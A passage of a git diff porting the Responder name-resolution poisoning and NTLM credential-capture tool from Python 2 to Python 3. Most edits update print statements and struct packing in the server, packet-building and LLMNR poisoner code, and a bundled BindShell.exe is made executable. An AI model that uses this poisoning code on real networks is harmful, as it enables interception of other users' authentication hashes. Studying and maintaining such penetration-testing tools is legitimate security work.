not os.geteuid() == 0: - print color("[!] Responder must be run as root.") + print(color("[!] Responder must be run as root.")) sys.exit(-1) elif options.OURIP is None and IsOsX() is True: - print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n" + print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n") parser.print_help() exit(-1) @@ -60,7 +62,7 @@ StartupMessage() settings.Config.ExpandIPRanges() if settings.Config.AnalyzeMode: - print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1) + print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) #Create the DB, before we start Responder. CreateResponderDb() @@ -69,11 +71,15 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer): def server_bind(self): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: + raise pass UDPServer.server_bind(self) @@ -81,11 +87,15 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): def server_bind(self): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: + raise pass TCPServer.server_bind(self) @@ -93,13 +103,17 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): def server_bind(self): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: + raise pass - self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) TCPServer.server_bind(self) class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): @@ -113,11 +127,15 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: + raise pass UDPServer.server_bind(self) @@ -131,12 +149,16 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): if OsInterfaceIsSupported(): try: - if settings.Config.Bind_To_ALL: - pass - else: - self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') + if settings.Config.Bind_To_ALL: + pass + else: + if (sys.version_info > (3, 0)): + self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) + else: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') except: - pass + raise + #pass UDPServer.server_bind(self) ThreadingUDPServer.allow_reuse_address = 1 @@ -150,7 +172,7 @@ def serve_thread_udp_broadcast(host, port, handler): server = ThreadingUDPServer((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_NBTNS_poisoner(host, port, handler): serve_thread_udp_broadcast(host, port, handler) @@ -160,15 +182,15 @@ def serve_MDNS_poisoner(host, port, handler): server = ThreadingUDPMDNSServer((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_LLMNR_poisoner(host, port, handler): try: server = ThreadingUDPLLMNRServer((host, port), handler) server.serve_forever() except: - raise - print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." + raise + print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_thread_udp(host, port, handler): try: @@ -179,7 +201,7 @@ def serve_thread_udp(host, port, handler): server = ThreadingUDPServer((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.") def serve_thread_tcp(host, port, handler): try: @@ -190,7 +212,7 @@ def serve_thread_tcp(host, port, handler): server = ThreadingTCPServer((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") def serve_thread_tcp_auth(host, port, handler): try: @@ -201,7 +223,7 @@ def serve_thread_tcp_auth(host, port, handler): server = ThreadingTCPServerAuth((host, port), handler) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.") def serve_thread_SSL(host, port, handler): try: @@ -218,7 +240,7 @@ def serve_thread_SSL(host, port, handler): server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) server.serve_forever() except: - print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running." + print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.") def main(): try: @@ -306,7 +328,7 @@ def main(): thread.setDaemon(True) thread.start() - print color('[+]', 2, 1) + " Listening for events..." + print(color('[+]', 2, 1) + " Listening for events...") while True: time.sleep(1) diff --git a/files/BindShell.exe b/files/BindShell.exe old mode 100644 new mode 100755 diff --git a/fingerprint.py b/fingerprint.py index 6e2c29c..382a1e1 100644 --- a/fingerprint.py +++ b/fingerprint.py @@ -16,18 +16,24 @@ # along with this program. If not, see . import socket import struct +import sys -from utils import color +from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3 from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData def OsNameClientVersion(data): try: - length = struct.unpack(' (3, 0)): + length = struct.unpack('i", len(''.join(Packet)))+Packet - s.send(Buffer) + Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet) + s.send(NetworkSendBufferPython2or3(Buffer1)) data = s.recv(2048) - if data[8:10] == "\x72\x00": + if data[8:10] == b'\x72\x00': Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") Body = SMBSessionFingerData() Body.calculate() Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - s.send(Buffer) + Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet) + s.send(NetworkSendBufferPython2or3(Buffer1)) data = s.recv(2048) - if data[8:10] == "\x73\x16": + if data[8:10] == b'\x73\x16': return OsNameClientVersion(data) except: - print color("[!] ", 1, 1) +" Fingerprint failed" + print(color("[!] ", 1, 1) +" Fingerprint failed") return None diff --git a/odict.py b/odict.py index 4e7b93b..de0aa4e 100644 --- a/odict.py +++ b/odict.py @@ -1,20 +1,9 @@ -#!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools -# created and maintained by Laurent Gaffie. -# email: laurent.gaffie@gmail.com -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -from UserDict import DictMixin +import sys +try: + from UserDict import DictMixin +except ImportError: + from collections import UserDict + from collections import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): @@ -30,7 +19,7 @@ class OrderedDict(dict, DictMixin): def clear(self): self.__end = end = [] end += [None, end, end] - self.__map = {} + self.__map = {} dict.clear(self) def __setitem__(self, key, value): @@ -77,20 +66,30 @@ class OrderedDict(dict, DictMixin): inst_dict = vars(self).copy() self.__map, self.__end = tmp if inst_dict: - return self.__class__, (items,), inst_dict + return (self.__class__, (items,), inst_dict) return self.__class__, (items,) def keys(self): return list(self) - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems + if sys.version_info >= (3, 0): + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.keys + itervalues = DictMixin.values + iteritems = DictMixin.items + else: + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems def __repr__(self): if not self: @@ -115,3 +114,8 @@ class OrderedDict(dict, DictMixin): def __ne__(self, other): return not self == other + + +if __name__ == '__main__': + d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)]) + assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh'] diff --git a/packets.py b/packets.py index 7385291..f27bc4a 100644 --- a/packets.py +++ b/packets.py @@ -14,12 +14,14 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . + import struct import settings +import codecs from base64 import b64decode, b64encode from odict import OrderedDict -from utils import HTTPCurrentDate, RespondWithIPAton +from utils import HTTPCurrentDate, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3 # Packet class handling all packet generation (see odict.py). class Packet(): @@ -55,9 +57,9 @@ class NBT_Ans(Packet): ]) def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["NbtName"] = data[12:46] - self.fields["IP"] = RespondWithIPAton() + self.fields["Tid"] = NetworkRecvBufferPython2or3(data[0:2]) + self.fields["NbtName"] = NetworkRecvBufferPython2or3(data[12:46]) + self.fields["IP"] = RespondWithIPAton() # DNS Answer Packet class DNS_Ans(Packet): @@ -83,8 +85,8 @@ class DNS_Ans(Packet): def calculate(self,data): self.fields["Tid"] = data[0:2] self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1]) - self.fields["IP"] = RespondWithIPAton() - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) # LLMNR Answer Packet class LLMNR_Ans(Packet): @@ -111,10 +113,10 @@ class LLMNR_Ans(Packet): ]) def calculate(self): - self.fields["IP"] = RespondWithIPAton() - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] - self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] + self.fields["IP"] = RespondWithIPAton() + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) + self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"]) + self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"]) # MDNS Answer Packet class MDNS_Ans(Packet): @@ -135,7 +137,7 @@ class MDNS_Ans(Packet): ]) def calculate(self): - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) + self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) ##### HTTP Packets ##### class NTLM_Challenge(Packet): @@ -181,26 +183,34 @@ class NTLM_Challenge(Packet): self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') - + #Now from bytes to str.. + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].decode('latin-1') + self.fields["Av1Str"] = self.fields["Av1Str"].decode('latin-1') + self.fields["Av2Str"] = self.fields["Av2Str"].decode('latin-1') + self.fields["Av3Str"] = self.fields["Av3Str"].decode('latin-1') + self.fields["Av4Str"] = self.fields["Av4Str"].decode('latin-1') + self.fields["Av5Str"] = self.fields["Av5Str"].decode('latin-1') # Then calculate - CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str("A"*8)+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) # Target Name Offsets - self.fields["TargetNameOffset"] = struct.pack("h",len(CalculateCompletePacket)) + self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket)) #Version - self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) - self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) + self.fields["VersionLen"] = StructWithLenPython2or3(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) + self.fields["VersionOffset"] = StructWithLenPython2or3(">h",len(VersionOffset)) #Encryption - self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) + self.fields["EncryptionLen"] = StructWithLenPython2or3(">h",len(self.fields["EncryptionStr"])) + self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(EncryptionOffset)) #InstOpt - self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) + self.fields["InstOptLen"] = StructWithLenPython2or3(">h",len(self.fields["InstOptStr"])) + self.fields["EncryptionOffset"] = StructWithLenPython2or3(">h",len(InstOpOffset)) #ThrdIDOffset - self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) + self.fields["ThrdIDOffset"] = StructWithLenPython2or3(">h",len(ThrdIDOffset)) class MSSQLNTLMChallengeAnswer(Packet): fields = OrderedDict([ @@ -475,12 +485,12 @@ class MSSQLNTLMChallengeAnswer(Packet): def calculate(self): # First convert to unicode - self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') - self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') - self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') - self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') - self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') - self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le').decode('latin-1') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le').decode('latin-1') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le').decode('latin-1') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le').decode('latin-1') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le').decode('latin-1') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le').decode('latin-1') # Then calculate CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) @@ -489,22 +499,22 @@ class MSSQLNTLMChallengeAnswer(Packet): CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - self.fields["SSPIBuffLen"] = struct.pack("h",len(CalculateCompletePacket)) + self.fields["SSPIBuffLen"] = StructWithLenPython2or3("i", len(CalculatePacketLen)) - self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) - self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) + self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">i", len(CalculatePacketLen)) + self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">i", len(OperationPacketLen)) + self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)) ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + self.fields["SecBlobLen"] = StructWithLenPython2or3("B", len(AsnLen+CalculateSecBlob)-3) + self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-6) + self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) + self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob)) ###### Andxoffset calculation. CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen - self.fields["Andxoffset"] = struct.pack(" 255: - self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob)) - else: - self.fields["Tag3ASNIdLenOfLen"] = "\x81" - self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + if len(CalculateSecBlob) > 255: + self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">H", len(CalculateSecBlob)) + else: + self.fields["Tag3ASNIdLenOfLen"] = "\x81" + self.fields["Tag3ASNIdLen"] = StructWithLenPython2or3(">B", len(CalculateSecBlob)) - if len(AsnLen+CalculateSecBlob)-3 > 255: - self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4) - else: - self.fields["ChoiceTagASNLenOfLen"] = "\x81" - self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3) + if len(AsnLen+CalculateSecBlob)-3 > 255: + self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-4) + else: + self.fields["ChoiceTagASNLenOfLen"] = "\x81" + self.fields["ChoiceTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-3) - if len(AsnLen+CalculateSecBlob)-7 > 255: - self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8) - else: - self.fields["NegTokenTagASNLenOfLen"] = "\x81" - self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7) + if len(AsnLen+CalculateSecBlob)-7 > 255: + self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">H", len(AsnLen+CalculateSecBlob)-8) + else: + self.fields["NegTokenTagASNLenOfLen"] = "\x81" + self.fields["NegTokenTagASNIdLen"] = StructWithLenPython2or3(">B", len(AsnLen+CalculateSecBlob)-7) - tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) + tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) - if len(tag2length) > 255: - self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length)) - else: - self.fields["Tag2ASNIdLenOfLen"] = "\x81" - self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length)) + if len(tag2length) > 255: + self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">H", len(tag2length)) + else: + self.fields["Tag2ASNIdLenOfLen"] = "\x81" + self.fields["Tag2ASNIdLen"] = StructWithLenPython2or3(">B", len(tag2length)) - self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) - self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNIdLen"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = StructWithLenPython2or3(">B", len(str(self.fields["Tag1ASNId2Str"]))) ###### Workstation Offset CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) @@ -1572,22 +1586,22 @@ class SMB2Session1Data(Packet): CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("h",len(str(self.fields["Data"]))+4)#Data+own header. + self.fields["Length"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+4)#Data+own header. class X224(Packet): fields = OrderedDict([ @@ -1656,7 +1670,7 @@ class X224(Packet): ]) def calculate(self): - self.fields["Length"] = struct.pack(">B",len(str(self.fields["Data"]))+6) + self.fields["Length"] = StructWithLenPython2or3(">B",len(str(self.fields["Data"]))+6) class RDPNEGOAnswer(Packet): @@ -1668,7 +1682,7 @@ class RDPNEGOAnswer(Packet): ]) def calculate(self): - self.fields["Length"] = struct.pack("B", len(NTLMMessageLen)) - self.fields["ASNLen01"] = struct.pack(">B", len(NTLMMessageLen)+3) - self.fields["OpHeadASNIDLen"] = struct.pack(">B", len(NTLMMessageLen)+6) - self.fields["MessageIDASNLen2"] = struct.pack(">B", len(NTLMMessageLen)+9) - self.fields["ParserHeadASNLen1"] = struct.pack(">B", len(NTLMMessageLen)+12) - self.fields["PacketStartASNStr"] = struct.pack(">B", len(NTLMMessageLen)+20) + self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)) + self.fields["ASNLen01"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+3) + self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+6) + self.fields["MessageIDASNLen2"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+9) + self.fields["ParserHeadASNLen1"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+12) + self.fields["PacketStartASNStr"] = StructWithLenPython2or3(">B", len(NTLMMessageLen)+20) ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack(". -import struct -import fingerprint +import fingerprint from packets import LLMNR_Ans -from SocketServer import BaseRequestHandler from utils import * +if (sys.version_info > (3, 0)): + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + + + def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - return data[13:13+NameLen] - + import codecs + NameLen = data[12] + if 